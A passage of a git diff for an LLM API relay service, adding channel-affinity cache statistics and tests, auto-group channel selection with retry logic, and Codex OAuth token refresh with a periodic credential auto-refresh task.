+			RedisCodec: cachex.JSONCodec[ChannelAffinityUsageCacheCounters]{},
+			Memory: func() *hot.HotCache[string, ChannelAffinityUsageCacheCounters] {
+				return hot.NewHotCache[string, ChannelAffinityUsageCacheCounters](hot.LRU, capacity).
+					WithTTL(time.Duration(defaultTTLSeconds) * time.Second).
+					WithJanitor().
+					Build()
+			},
+		})
+	})
+	return channelAffinityUsageCacheStatsCache
+}
+
+func channelAffinityUsageCacheStatsLock(key string) *sync.Mutex {
+	h := fnv.New32a()
+	_, _ = h.Write([]byte(key))
+	idx := h.Sum32() % uint32(len(channelAffinityUsageCacheStatsLocks))
+	return &channelAffinityUsageCacheStatsLocks[idx]
+}
diff --git a/new-api/service/channel_affinity_template_test.go b/new-api/service/channel_affinity_template_test.go
new file mode 100644
index 0000000..033cbd8
--- /dev/null
+++ b/new-api/service/channel_affinity_template_test.go
@@ -0,0 +1,247 @@
+package service
+
+import (
+	"fmt"
+	"net/http"
+	"net/http/httptest"
+	"strings"
+	"testing"
+	"time"
+
+	relaycommon "github.com/QuantumNous/new-api/relay/common"
+	"github.com/QuantumNous/new-api/setting/operation_setting"
+	"github.com/gin-gonic/gin"
+	"github.com/stretchr/testify/require"
+)
+
+func buildChannelAffinityTemplateContextForTest(meta channelAffinityMeta) *gin.Context {
+	rec := httptest.NewRecorder()
+	ctx, _ := gin.CreateTestContext(rec)
+	setChannelAffinityContext(ctx, meta)
+	return ctx
+}
+
+func TestApplyChannelAffinityOverrideTemplate_NoTemplate(t *testing.T) {
+	ctx := buildChannelAffinityTemplateContextForTest(channelAffinityMeta{
+		RuleName: "rule-no-template",
+	})
+	base := map[string]interface{}{
+		"temperature": 0.7,
+	}
+
+	merged, applied := ApplyChannelAffinityOverrideTemplate(ctx, base)
+	require.False(t, applied)
+	require.Equal(t, base, merged)
+}
+
+func TestApplyChannelAffinityOverrideTemplate_MergeTemplate(t *testing.T) {
+	ctx := buildChannelAffinityTemplateContextForTest(channelAffinityMeta{
+		RuleName: "rule-with-template",
+		ParamTemplate: map[string]interface{}{
+			"temperature": 0.2,
+			"top_p":       0.95,
+		},
+		UsingGroup:     "default",
+		ModelName:      "gpt-4.1",
+		RequestPath:    "/v1/responses",
+		KeySourceType:  "gjson",
+		KeySourcePath:  "prompt_cache_key",
+		KeyHint:        "abcd...wxyz",
+		KeyFingerprint: "abcd1234",
+	})
+	base := map[string]interface{}{
+		"temperature": 0.7,
+		"max_tokens":  2000,
+	}
+
+	merged, applied := ApplyChannelAffinityOverrideTemplate(ctx, base)
+	require.True(t, applied)
+	require.Equal(t, 0.7, merged["temperature"])
+	require.Equal(t, 0.95, merged["top_p"])
+	require.Equal(t, 2000, merged["max_tokens"])
+	require.Equal(t, 0.7, base["temperature"])
+
+	anyInfo, ok := ctx.Get(ginKeyChannelAffinityLogInfo)
+	require.True(t, ok)
+	info, ok := anyInfo.(map[string]interface{})
+	require.True(t, ok)
+	overrideInfoAny, ok := info["override_template"]
+	require.True(t, ok)
+	overrideInfo, ok := overrideInfoAny.(map[string]interface{})
+	require.True(t, ok)
+	require.Equal(t, true, overrideInfo["applied"])
+	require.Equal(t, "rule-with-template", overrideInfo["rule_name"])
+	require.EqualValues(t, 2, overrideInfo["param_override_keys"])
+}
+
+func TestApplyChannelAffinityOverrideTemplate_MergeOperations(t *testing.T) {
+	ctx := buildChannelAffinityTemplateContextForTest(channelAffinityMeta{
+		RuleName: "rule-with-ops-template",
+		ParamTemplate: map[string]interface{}{
+			"operations": []map[string]interface{}{
+				{
+					"mode":  "pass_headers",
+					"value": []string{"Originator"},
+				},
+			},
+		},
+	})
+	base := map[string]interface{}{
+		"temperature": 0.7,
+		"operations": []map[string]interface{}{
+			{
+				"path":  "model",
+				"mode":  "trim_prefix",
+				"value": "openai/",
+			},
+		},
+	}
+
+	merged, applied := ApplyChannelAffinityOverrideTemplate(ctx, base)
+	require.True(t, applied)
+	require.Equal(t, 0.7, merged["temperature"])
+
+	opsAny, ok := merged["operations"]
+	require.True(t, ok)
+	ops, ok := opsAny.([]interface{})
+	require.True(t, ok)
+	require.Len(t, ops, 2)
+
+	firstOp, ok := ops[0].(map[string]interface{})
+	require.True(t, ok)
+	require.Equal(t, "pass_headers", firstOp["mode"])
+
+	secondOp, ok := ops[1].(map[string]interface{})
+	require.True(t, ok)
+	require.Equal(t, "trim_prefix", secondOp["mode"])
+}
+
+func TestShouldSkipRetryAfterChannelAffinityFailure(t *testing.T) {
+	tests := []struct {
+		name string
+		ctx  func() *gin.Context
+		want bool
+	}{
+		{
+			name: "nil context",
+			ctx: func() *gin.Context {
+				return nil
+			},
+			want: false,
+		},
+		{
+			name: "explicit skip retry flag in context",
+			ctx: func() *gin.Context {
+				ctx := buildChannelAffinityTemplateContextForTest(channelAffinityMeta{
+					RuleName:   "rule-explicit-flag",
+					SkipRetry:  false,
+					UsingGroup: "default",
+					ModelName:  "gpt-5",
+				})
+				ctx.Set(ginKeyChannelAffinitySkipRetry, true)
+				return ctx
+			},
+			want: true,
+		},
+		{
+			name: "fallback to matched rule meta",
+			ctx: func() *gin.Context {
+				return buildChannelAffinityTemplateContextForTest(channelAffinityMeta{
+					RuleName:   "rule-skip-retry",
+					SkipRetry:  true,
+					UsingGroup: "default",
+					ModelName:  "gpt-5",
+				})
+			},
+			want: true,
+		},
+		{
+			name: "no flag and no skip retry meta",
+			ctx: func() *gin.Context {
+				return buildChannelAffinityTemplateContextForTest(channelAffinityMeta{
+					RuleName:   "rule-no-skip-retry",
+					SkipRetry:  false,
+					UsingGroup: "default",
+					ModelName:  "gpt-5",
+				})
+			},
+			want: false,
+		},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			require.Equal(t, tt.want, ShouldSkipRetryAfterChannelAffinityFailure(tt.ctx()))
+		})
+	}
+}
+
+func TestChannelAffinityHitCodexTemplatePassHeadersEffective(t *testing.T) {
+	gin.SetMode(gin.TestMode)
+
+	setting := operation_setting.GetChannelAffinitySetting()
+	require.NotNil(t, setting)
+
+	var codexRule *operation_setting.ChannelAffinityRule
+	for i := range setting.Rules {
+		rule := &setting.Rules[i]
+		if strings.EqualFold(strings.TrimSpace(rule.Name), "codex cli trace") {
+			codexRule = rule
+			break
+		}
+	}
+	require.NotNil(t, codexRule)
+
+	affinityValue := fmt.Sprintf("pc-hit-%d", time.Now().UnixNano())
+	cacheKeySuffix := buildChannelAffinityCacheKeySuffix(*codexRule, "gpt-5", "default", affinityValue)
+
+	cache := getChannelAffinityCache()
+	require.NoError(t, cache.SetWithTTL(cacheKeySuffix, 9527, time.Minute))
+	t.Cleanup(func() {
+		_, _ = cache.DeleteMany([]string{cacheKeySuffix})
+	})
+
+	rec := httptest.NewRecorder()
+	ctx, _ := gin.CreateTestContext(rec)
+	ctx.Request = httptest.NewRequest(http.MethodPost, "/v1/responses", strings.NewReader(fmt.Sprintf(`{"prompt_cache_key":"%s"}`, affinityValue)))
+	ctx.Request.Header.Set("Content-Type", "application/json")
+
+	channelID, found := GetPreferredChannelByAffinity(ctx, "gpt-5", "default")
+	require.True(t, found)
+	require.Equal(t, 9527, channelID)
+
+	baseOverride := map[string]interface{}{
+		"temperature": 0.2,
+	}
+	mergedOverride, applied := ApplyChannelAffinityOverrideTemplate(ctx, baseOverride)
+	require.True(t, applied)
+	require.Equal(t, 0.2, mergedOverride["temperature"])
+
+	info := &relaycommon.RelayInfo{
+		RequestHeaders: map[string]string{
+			"Originator": "Codex CLI",
+			"Session_id": "sess-123",
+			"User-Agent": "codex-cli-test",
+		},
+		ChannelMeta: &relaycommon.ChannelMeta{
+			ParamOverride: mergedOverride,
+			HeadersOverride: map[string]interface{}{
+				"X-Static": "legacy-static",
+			},
+		},
+	}
+
+	_, err := relaycommon.ApplyParamOverrideWithRelayInfo([]byte(`{"model":"gpt-5"}`), info)
+	require.NoError(t, err)
+	require.True(t, info.UseRuntimeHeadersOverride)
+
+	require.Equal(t, "legacy-static", info.RuntimeHeadersOverride["x-static"])
+	require.Equal(t, "Codex CLI", info.RuntimeHeadersOverride["originator"])
+	require.Equal(t, "sess-123", info.RuntimeHeadersOverride["session_id"])
+	require.Equal(t, "codex-cli-test", info.RuntimeHeadersOverride["user-agent"])
+
+	_, exists := info.RuntimeHeadersOverride["x-codex-beta-features"]
+	require.False(t, exists)
+	_, exists = info.RuntimeHeadersOverride["x-codex-turn-metadata"]
+	require.False(t, exists)
+}
diff --git a/new-api/service/channel_affinity_usage_cache_test.go b/new-api/service/channel_affinity_usage_cache_test.go
new file mode 100644
index 0000000..64d3d71
--- /dev/null
+++ b/new-api/service/channel_affinity_usage_cache_test.go
@@ -0,0 +1,105 @@
+package service
+
+import (
+	"fmt"
+	"net/http/httptest"
+	"testing"
+	"time"
+
+	"github.com/QuantumNous/new-api/dto"
+	"github.com/QuantumNous/new-api/types"
+	"github.com/gin-gonic/gin"
+	"github.com/stretchr/testify/require"
+)
+
+func buildChannelAffinityStatsContextForTest(ruleName, usingGroup, keyFP string) *gin.Context {
+	rec := httptest.NewRecorder()
+	ctx, _ := gin.CreateTestContext(rec)
+	setChannelAffinityContext(ctx, channelAffinityMeta{
+		CacheKey:       fmt.Sprintf("test:%s:%s:%s", ruleName, usingGroup, keyFP),
+		TTLSeconds:     600,
+		RuleName:       ruleName,
+		UsingGroup:     usingGroup,
+		KeyFingerprint: keyFP,
+	})
+	return ctx
+}
+
+func TestObserveChannelAffinityUsageCacheByRelayFormat_ClaudeMode(t *testing.T) {
+	ruleName := fmt.Sprintf("rule_%d", time.Now().UnixNano())
+	usingGroup := "default"
+	keyFP := fmt.Sprintf("fp_%d", time.Now().UnixNano())
+	ctx := buildChannelAffinityStatsContextForTest(ruleName, usingGroup, keyFP)
+
+	usage := &dto.Usage{
+		PromptTokens:     100,
+		CompletionTokens: 40,
+		TotalTokens:      140,
+		PromptTokensDetails: dto.InputTokenDetails{
+			CachedTokens: 30,
+		},
+	}
+
+	ObserveChannelAffinityUsageCacheByRelayFormat(ctx, usage, types.RelayFormatClaude)
+	stats := GetChannelAffinityUsageCacheStats(ruleName, usingGroup, keyFP)
+
+	require.EqualValues(t, 1, stats.Total)
+	require.EqualValues(t, 1, stats.Hit)
+	require.EqualValues(t, 100, stats.PromptTokens)
+	require.EqualValues(t, 40, stats.CompletionTokens)
+	require.EqualValues(t, 140, stats.TotalTokens)
+	require.EqualValues(t, 30, stats.CachedTokens)
+	require.Equal(t, cacheTokenRateModeCachedOverPromptPlusCached, stats.CachedTokenRateMode)
+}
+
+func TestObserveChannelAffinityUsageCacheByRelayFormat_MixedMode(t *testing.T) {
+	ruleName := fmt.Sprintf("rule_%d", time.Now().UnixNano())
+	usingGroup := "default"
+	keyFP := fmt.Sprintf("fp_%d", time.Now().UnixNano())
+	ctx := buildChannelAffinityStatsContextForTest(ruleName, usingGroup, keyFP)
+
+	openAIUsage := &dto.Usage{
+		PromptTokens: 100,
+		PromptTokensDetails: dto.InputTokenDetails{
+			CachedTokens: 10,
+		},
+	}
+	claudeUsage := &dto.Usage{
+		PromptTokens: 80,
+		PromptTokensDetails: dto.InputTokenDetails{
+			CachedTokens: 20,
+		},
+	}
+
+	ObserveChannelAffinityUsageCacheByRelayFormat(ctx, openAIUsage, types.RelayFormatOpenAI)
+	ObserveChannelAffinityUsageCacheByRelayFormat(ctx, claudeUsage, types.RelayFormatClaude)
+	stats := GetChannelAffinityUsageCacheStats(ruleName, usingGroup, keyFP)
+
+	require.EqualValues(t, 2, stats.Total)
+	require.EqualValues(t, 2, stats.Hit)
+	require.EqualValues(t, 180, stats.PromptTokens)
+	require.EqualValues(t, 30, stats.CachedTokens)
+	require.Equal(t, cacheTokenRateModeMixed, stats.CachedTokenRateMode)
+}
+
+func TestObserveChannelAffinityUsageCacheByRelayFormat_UnsupportedModeKeepsEmpty(t *testing.T) {
+	ruleName := fmt.Sprintf("rule_%d", time.Now().UnixNano())
+	usingGroup := "default"
+	keyFP := fmt.Sprintf("fp_%d", time.Now().UnixNano())
+	ctx := buildChannelAffinityStatsContextForTest(ruleName, usingGroup, keyFP)
+
+	usage := &dto.Usage{
+		PromptTokens: 100,
+		PromptTokensDetails: dto.InputTokenDetails{
+			CachedTokens: 25,
+		},
+	}
+
+	ObserveChannelAffinityUsageCacheByRelayFormat(ctx, usage, types.RelayFormatGemini)
+	stats := GetChannelAffinityUsageCacheStats(ruleName, usingGroup, keyFP)
+
+	require.EqualValues(t, 1, stats.Total)
+	require.EqualValues(t, 1, stats.Hit)
+	require.EqualValues(t, 25, stats.CachedTokens)
+	require.Equal(t, "", stats.CachedTokenRateMode)
+}
diff --git a/new-api/service/channel_select.go b/new-api/service/channel_select.go
new file mode 100644
index 0000000..a3710ef
--- /dev/null
+++ b/new-api/service/channel_select.go
@@ -0,0 +1,162 @@
+package service
+
+import (
+	"errors"
+
+	"github.com/QuantumNous/new-api/common"
+	"github.com/QuantumNous/new-api/constant"
+	"github.com/QuantumNous/new-api/logger"
+	"github.com/QuantumNous/new-api/model"
+	"github.com/QuantumNous/new-api/setting"
+	"github.com/gin-gonic/gin"
+)
+
+type RetryParam struct {
+	Ctx          *gin.Context
+	TokenGroup   string
+	ModelName    string
+	Retry        *int
+	resetNextTry bool
+}
+
+func (p *RetryParam) GetRetry() int {
+	if p.Retry == nil {
+		return 0
+	}
+	return *p.Retry
+}
+
+func (p *RetryParam) SetRetry(retry int) {
+	p.Retry = &retry
+}
+
+func (p *RetryParam) IncreaseRetry() {
+	if p.resetNextTry {
+		p.resetNextTry = false
+		return
+	}
+	if p.Retry == nil {
+		p.Retry = new(int)
+	}
+	*p.Retry++
+}
+
+func (p *RetryParam) ResetRetryNextTry() {
+	p.resetNextTry = true
+}
+
+// CacheGetRandomSatisfiedChannel tries to get a random channel that satisfies the requirements.
+// 尝试获取一个满足要求的随机渠道。
+//
+// For "auto" tokenGroup with cross-group Retry enabled:
+// 对于启用了跨分组重试的 "auto" tokenGroup：
+//
+//   - Each group will exhaust all its priorities before moving to the next group.
+//     每个分组会用完所有优先级后才会切换到下一个分组。
+//
+//   - Uses ContextKeyAutoGroupIndex to track current group index.
+//     使用 ContextKeyAutoGroupIndex 跟踪当前分组索引。
+//
+//   - Uses ContextKeyAutoGroupRetryIndex to track the global Retry count when current group started.
+//     使用 ContextKeyAutoGroupRetryIndex 跟踪当前分组开始时的全局重试次数。
+//
+//   - priorityRetry = Retry - startRetryIndex, represents the priority level within current group.
+//     priorityRetry = Retry - startRetryIndex，表示当前分组内的优先级级别。
+//
+//   - When GetRandomSatisfiedChannel returns nil (priorities exhausted), moves to next group.
+//     当 GetRandomSatisfiedChannel 返回 nil（优先级用完）时，切换到下一个分组。
+//
+// Example flow (2 groups, each with 2 priorities, RetryTimes=3):
+// 示例流程（2个分组，每个有2个优先级，RetryTimes=3）：
+//
+//	Retry=0: GroupA, priority0 (startRetryIndex=0, priorityRetry=0)
+//	         分组A, 优先级0
+//
+//	Retry=1: GroupA, priority1 (startRetryIndex=0, priorityRetry=1)
+//	         分组A, 优先级1
+//
+//	Retry=2: GroupA exhausted → GroupB, priority0 (startRetryIndex=2, priorityRetry=0)
+//	         分组A用完 → 分组B, 优先级0
+//
+//	Retry=3: GroupB, priority1 (startRetryIndex=2, priorityRetry=1)
+//	         分组B, 优先级1
+func CacheGetRandomSatisfiedChannel(param *RetryParam) (*model.Channel, string, error) {
+	var channel *model.Channel
+	var err error
+	selectGroup := param.TokenGroup
+	userGroup := common.GetContextKeyString(param.Ctx, constant.ContextKeyUserGroup)
+
+	if param.TokenGroup == "auto" {
+		if len(setting.GetAutoGroups()) == 0 {
+			return nil, selectGroup, errors.New("auto groups is not enabled")
+		}
+		autoGroups := GetUserAutoGroup(userGroup)
+
+		// startGroupIndex: the group index to start searching from
+		// startGroupIndex: 开始搜索的分组索引
+		startGroupIndex := 0
+		crossGroupRetry := common.GetContextKeyBool(param.Ctx, constant.ContextKeyTokenCrossGroupRetry)
+
+		if lastGroupIndex, exists := common.GetContextKey(param.Ctx, constant.ContextKeyAutoGroupIndex); exists {
+			if idx, ok := lastGroupIndex.(int); ok {
+				startGroupIndex = idx
+			}
+		}
+
+		for i := startGroupIndex; i < len(autoGroups); i++ {
+			autoGroup := autoGroups[i]
+			// Calculate priorityRetry for current group
+			// 计算当前分组的 priorityRetry
+			priorityRetry := param.GetRetry()
+			// If moved to a new group, reset priorityRetry and update startRetryIndex
+			// 如果切换到新分组，重置 priorityRetry 并更新 startRetryIndex
+			if i > startGroupIndex {
+				priorityRetry = 0
+			}
+			logger.LogDebug(param.Ctx, "Auto selecting group: %s, priorityRetry: %d", autoGroup, priorityRetry)
+
+			channel, _ = model.GetRandomSatisfiedChannel(autoGroup, param.ModelName, priorityRetry)
+			if channel == nil {
+				// Current group has no available channel for this model, try next group
+				// 当前分组没有该模型的可用渠道，尝试下一个分组
+				logger.LogDebug(param.Ctx, "No available channel in group %s for model %s at priorityRetry %d, trying next group", autoGroup, param.ModelName, priorityRetry)
+				// 重置状态以尝试下一个分组
+				common.SetContextKey(param.Ctx, constant.ContextKeyAutoGroupIndex, i+1)
+				common.SetContextKey(param.Ctx, constant.ContextKeyAutoGroupRetryIndex, 0)
+				// Reset retry counter so outer loop can continue for next group
+				// 重置重试计数器，以便外层循环可以为下一个分组继续
+				param.SetRetry(0)
+				continue
+			}
+			common.SetContextKey(param.Ctx, constant.ContextKeyAutoGroup, autoGroup)
+			selectGroup = autoGroup
+			logger.LogDebug(param.Ctx, "Auto selected group: %s", autoGroup)
+
+			// Prepare state for next retry
+			// 为下一次重试准备状态
+			if crossGroupRetry && priorityRetry >= common.RetryTimes {
+				// Current group has exhausted all retries, prepare to switch to next group
+				// This request still uses current group, but next retry will use next group
+				// 当前分组已用完所有重试次数，准备切换到下一个分组
+				// 本次请求仍使用当前分组，但下次重试将使用下一个分组
+				logger.LogDebug(param.Ctx, "Current group %s retries exhausted (priorityRetry=%d >= RetryTimes=%d), preparing switch to next group for next retry", autoGroup, priorityRetry, common.RetryTimes)
+				common.SetContextKey(param.Ctx, constant.ContextKeyAutoGroupIndex, i+1)
+				// Reset retry counter so outer loop can continue for next group
+				// 重置重试计数器，以便外层循环可以为下一个分组继续
+				param.SetRetry(0)
+				param.ResetRetryNextTry()
+			} else {
+				// Stay in current group, save current state
+				// 保持在当前分组，保存当前状态
+				common.SetContextKey(param.Ctx, constant.ContextKeyAutoGroupIndex, i)
+			}
+			break
+		}
+	} else {
+		channel, err = model.GetRandomSatisfiedChannel(param.TokenGroup, param.ModelName, param.GetRetry())
+		if err != nil {
+			return nil, param.TokenGroup, err
+		}
+	}
+	return channel, selectGroup, nil
+}
diff --git a/new-api/service/codex_credential_refresh.go b/new-api/service/codex_credential_refresh.go
new file mode 100644
index 0000000..2e681ee
--- /dev/null
+++ b/new-api/service/codex_credential_refresh.go
@@ -0,0 +1,104 @@
+package service
+
+import (
+	"context"
+	"errors"
+	"fmt"
+	"strings"
+	"time"
+
+	"github.com/QuantumNous/new-api/common"
+	"github.com/QuantumNous/new-api/constant"
+	"github.com/QuantumNous/new-api/model"
+)
+
+type CodexCredentialRefreshOptions struct {
+	ResetCaches bool
+}
+
+type CodexOAuthKey struct {
+	IDToken      string `json:"id_token,omitempty"`
+	AccessToken  string `json:"access_token,omitempty"`
+	RefreshToken string `json:"refresh_token,omitempty"`
+
+	AccountID   string `json:"account_id,omitempty"`
+	LastRefresh string `json:"last_refresh,omitempty"`
+	Email       string `json:"email,omitempty"`
+	Type        string `json:"type,omitempty"`
+	Expired     string `json:"expired,omitempty"`
+}
+
+func parseCodexOAuthKey(raw string) (*CodexOAuthKey, error) {
+	if strings.TrimSpace(raw) == "" {
+		return nil, errors.New("codex channel: empty oauth key")
+	}
+	var key CodexOAuthKey
+	if err := common.Unmarshal([]byte(raw), &key); err != nil {
+		return nil, errors.New("codex channel: invalid oauth key json")
+	}
+	return &key, nil
+}
+
+func RefreshCodexChannelCredential(ctx context.Context, channelID int, opts CodexCredentialRefreshOptions) (*CodexOAuthKey, *model.Channel, error) {
+	ch, err := model.GetChannelById(channelID, true)
+	if err != nil {
+		return nil, nil, err
+	}
+	if ch == nil {
+		return nil, nil, fmt.Errorf("channel not found")
+	}
+	if ch.Type != constant.ChannelTypeCodex {
+		return nil, nil, fmt.Errorf("channel type is not Codex")
+	}
+
+	oauthKey, err := parseCodexOAuthKey(strings.TrimSpace(ch.Key))
+	if err != nil {
+		return nil, nil, err
+	}
+	if strings.TrimSpace(oauthKey.RefreshToken) == "" {
+		return nil, nil, fmt.Errorf("codex channel: refresh_token is required to refresh credential")
+	}
+
+	refreshCtx, cancel := context.WithTimeout(ctx, 10*time.Second)
+	defer cancel()
+
+	res, err := RefreshCodexOAuthTokenWithProxy(refreshCtx, oauthKey.RefreshToken, ch.GetSetting().Proxy)
+	if err != nil {
+		return nil, nil, err
+	}
+
+	oauthKey.AccessToken = res.AccessToken
+	oauthKey.RefreshToken = res.RefreshToken
+	oauthKey.LastRefresh = time.Now().Format(time.RFC3339)
+	oauthKey.Expired = res.ExpiresAt.Format(time.RFC3339)
+	if strings.TrimSpace(oauthKey.Type) == "" {
+		oauthKey.Type = "codex"
+	}
+
+	if strings.TrimSpace(oauthKey.AccountID) == "" {
+		if accountID, ok := ExtractCodexAccountIDFromJWT(oauthKey.AccessToken); ok {
+			oauthKey.AccountID = accountID
+		}
+	}
+	if strings.TrimSpace(oauthKey.Email) == "" {
+		if email, ok := ExtractEmailFromJWT(oauthKey.AccessToken); ok {
+			oauthKey.Email = email
+		}
+	}
+
+	encoded, err := common.Marshal(oauthKey)
+	if err != nil {
+		return nil, nil, err
+	}
+
+	if err := model.DB.Model(&model.Channel{}).Where("id = ?", ch.Id).Update("key", string(encoded)).Error; err != nil {
+		return nil, nil, err
+	}
+
+	if opts.ResetCaches {
+		model.InitChannelCache()
+		ResetProxyClientCache()
+	}
+
+	return oauthKey, ch, nil
+}
diff --git a/new-api/service/codex_credential_refresh_task.go b/new-api/service/codex_credential_refresh_task.go
new file mode 100644
index 0000000..5cc53fe
--- /dev/null
+++ b/new-api/service/codex_credential_refresh_task.go
@@ -0,0 +1,148 @@
+package service
+
+import (
+	"context"
+	"fmt"
+	"strings"
+	"sync"
+	"sync/atomic"
+	"time"
+
+	"github.com/QuantumNous/new-api/common"
+	"github.com/QuantumNous/new-api/constant"
+	"github.com/QuantumNous/new-api/logger"
+	"github.com/QuantumNous/new-api/model"
+
+	"github.com/bytedance/gopkg/util/gopool"
+)
+
+const (
+	codexCredentialRefreshTickInterval = 10 * time.Minute
+	codexCredentialRefreshThreshold    = 24 * time.Hour
+	codexCredentialRefreshBatchSize    = 200
+	codexCredentialRefreshTimeout      = 15 * time.Second
+)
+
+var (
+	codexCredentialRefreshOnce    sync.Once
+	codexCredentialRefreshRunning atomic.Bool
+)
+
+func shouldAutoRefreshCodexChannelStatus(status int) bool {
+	return status == common.ChannelStatusEnabled || status == common.ChannelStatusAutoDisabled
+}
+
+func StartCodexCredentialAutoRefreshTask() {
+	codexCredentialRefreshOnce.Do(func() {
+		if !common.IsMasterNode {
+			return
+		}
+
+		gopool.Go(func() {
+			logger.LogInfo(context.Background(), fmt.Sprintf("codex credential auto-refresh task started: tick=%s threshold=%s", codexCredentialRefreshTickInterval, codexCredentialRefreshThreshold))
+
+			ticker := time.NewTicker(codexCredentialRefreshTickInterval)
+			defer ticker.Stop()
+
+			runCodexCredentialAutoRefreshOnce()
+			for range ticker.C {
+				runCodexCredentialAutoRefreshOnce()
+			}
+		})
+	})
+}
+
+func runCodexCredentialAutoRefreshOnce() {
+	if !codexCredentialRefreshRunning.CompareAndSwap(false, true) {
+		return
+	}
+	defer codexCredentialRefreshRunning.Store(false)
+
+	ctx := context.Background()
+	now := time.Now()
+
+	var refreshed int
+	var scanned int
+
+	offset := 0
+	for {
+		var channels []*model.Channel
+		err := model.DB.
+			Select("id", "name", "key", "status", "channel_info").
+			Where("type = ? AND (status = ? OR status = ?)",
+				constant.ChannelTypeCodex,
+				common.ChannelStatusEnabled,
+				common.ChannelStatusAutoDisabled,
+			).
+			Order("id asc").
+			Limit(codexCredentialRefreshBatchSize).
+			Offset(offset).
+			Find(&channels).Error
+		if err != nil {
+			logger.LogError(ctx, fmt.Sprintf("codex credential auto-refresh: query channels failed: %v", err))
+			return
+		}
+		if len(channels) == 0 {
+			break
+		}
+		offset += codexCredentialRefreshBatchSize
+
+		for _, ch := range channels {
+			if ch == nil {
+				continue
+			}
+			scanned++
+			if ch.ChannelInfo.IsMultiKey {
+				continue
+			}
+
+			rawKey := strings.TrimSpace(ch.Key)
+			if rawKey == "" {
+				continue
+			}
+
+			oauthKey, err := parseCodexOAuthKey(rawKey)
+			if err != nil {
+				continue
+			}
+
+			refreshToken := strings.TrimSpace(oauthKey.RefreshToken)
+			if refreshToken == "" {
+				continue
+			}
+
+			expiredAtRaw := strings.TrimSpace(oauthKey.Expired)
+			expiredAt, err := time.Parse(time.RFC3339, expiredAtRaw)
+			if err == nil && !expiredAt.IsZero() && expiredAt.Sub(now) > codexCredentialRefreshThreshold {
+				continue
+			}
+
+			refreshCtx, cancel := context.WithTimeout(ctx, codexCredentialRefreshTimeout)
+			newKey, _, err := RefreshCodexChannelCredential(refreshCtx, ch.Id, CodexCredentialRefreshOptions{ResetCaches: false})
+			cancel()
+			if err != nil {
+				logger.LogWarn(ctx, fmt.Sprintf("codex credential auto-refresh: channel_id=%d name=%s refresh failed: %v", ch.Id, ch.Name, err))
+				continue
+			}
+
+			refreshed++
+			logger.LogInfo(ctx, fmt.Sprintf("codex credential auto-refresh: channel_id=%d name=%s refreshed, expires_at=%s", ch.Id, ch.Name, newKey.Expired))
+		}
+	}
+
+	if refreshed > 0 {
+		func() {
+			defer func() {
+				if r := recover(); r != nil {
+					logger.LogWarn(ctx, fmt.Sprintf("codex credential auto-refresh: InitChannelCache panic: %v", r))
+				}
+			}()
+			model.InitChannelCache()
+		}()
+		ResetProxyClientCache()
+	}
+
+	if common.DebugEnabled {
+		logger.LogDebug(ctx, "codex credential auto-refresh: scanned=%d refreshed=%d", scanned, refreshed)
+	}
+}
diff --git a/new-api/service/codex_oauth.go b/new-api/service/codex_oauth.go
new file mode 100644
index 0000000..33ef1d6
--- /dev/null
+++ b/new-api/service/codex_oauth.go
@@ -0,0 +1,317 @@
+package service
+
+import (
+	"context"
+	"crypto/rand"
+	"crypto/sha256"
+	"encoding/base64"
+	"encoding/json"
+	"errors"
+	"fmt"
+	"net/http"
+	"net/url"
+	"strings"
+	"time"
+
+	"github.com/QuantumNous/new-api/common"
+)
+
+const (
+	codexOAuthClientID     = "app_EMoamEEZ73f0CkXaXp7hrann"
+	codexOAuthAuthorizeURL = "https://auth.openai.com/oauth/authorize"
+	codexOAuthTokenURL     = "https://auth.openai.com/oauth/token"
+	codexOAuthRedirectURI  = "http://localhost:1455/auth/callback"
+	codexOAuthScope        = "openid profile email offline_access"
+	codexJWTClaimPath      = "https://api.openai.com/auth"
+	defaultHTTPTimeout     = 20 * time.Second
+)
+
+type CodexOAuthTokenResult struct {
+	AccessToken  string
+	RefreshToken string
+	ExpiresAt    time.Time
+}
+
+type CodexOAuthAuthorizationFlow struct {
+	State        string
+	Verifier     string
+	Challenge    string
+	AuthorizeURL string
+}
+
+func RefreshCodexOAuthToken(ctx context.Context, refreshToken string) (*CodexOAuthTokenResult, error) {
+	return RefreshCodexOAuthTokenWithProxy(ctx, refreshToken, "")
+}
+
+func RefreshCodexOAuthTokenWithProxy(ctx context.Context, refreshToken string, proxyURL string) (*CodexOAuthTokenResult, error) {
+	client, err := getCodexOAuthHTTPClient(proxyURL)
+	if err != nil {
+		return nil, err
+	}
+	return refreshCodexOAuthToken(ctx, client, codexOAuthTokenURL, codexOAuthClientID, refreshToken)
+}
+
+func ExchangeCodexAuthorizationCode(ctx context.Context, code string, verifier string) (*CodexOAuthTokenResult, error) {
+	return ExchangeCodexAuthorizationCodeWithProxy(ctx, code, verifier, "")
+}
+
+func ExchangeCodexAuthorizationCodeWithProxy(ctx context.Context, code string, verifier string, proxyURL string) (*CodexOAuthTokenResult, error) {
+	client, err := getCodexOAuthHTTPClient(proxyURL)
+	if err != nil {
+		return nil, err
+	}
+	return exchangeCodexAuthorizationCode(ctx, client, codexOAuthTokenURL, codexOAuthClientID, code, verifier, codexOAuthRedirectURI)
+}
+
+func CreateCodexOAuthAuthorizationFlow() (*CodexOAuthAuthorizationFlow, error) {
+	state, err := createStateHex(16)
+	if err != nil {
+		return nil, err
+	}
+	verifier, challenge, err := generatePKCEPair()
+	if err != nil {
+		return nil, err
+	}
+	u, err := buildCodexAuthorizeURL(state, challenge)
+	if err != nil {
+		return nil, err
+	}
+	return &CodexOAuthAuthorizationFlow{
+		State:        state,
+		Verifier:     verifier,
+		Challenge:    challenge,
+		AuthorizeURL: u,
+	}, nil
+}
+
+func refreshCodexOAuthToken(
+	ctx context.Context,
+	client *http.Client,
+	tokenURL string,
+	clientID string,
+	refreshToken string,
+) (*CodexOAuthTokenResult, error) {
+	rt := strings.TrimSpace(refreshToken)
+	if rt == "" {
+		return nil, errors.New("empty refresh_token")
+	}
+
+	form := url.Values{}
+	form.Set("grant_type", "refresh_token")
+	form.Set("refresh_token", rt)
+	form.Set("client_id", clientID)
+
+	req, err := http.NewRequestWithContext(ctx, http.MethodPost, tokenURL, strings.NewReader(form.Encode()))
+	if err != nil {
+		return nil, err
+	}
+	req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
+	req.Header.Set("Accept", "application/json")
+
+	resp, err := client.Do(req)
+	if err != nil {
+		return nil, err
+	}
+	defer resp.Body.Close()
+
+	var payload struct {
+		AccessToken  string `json:"access_token"`
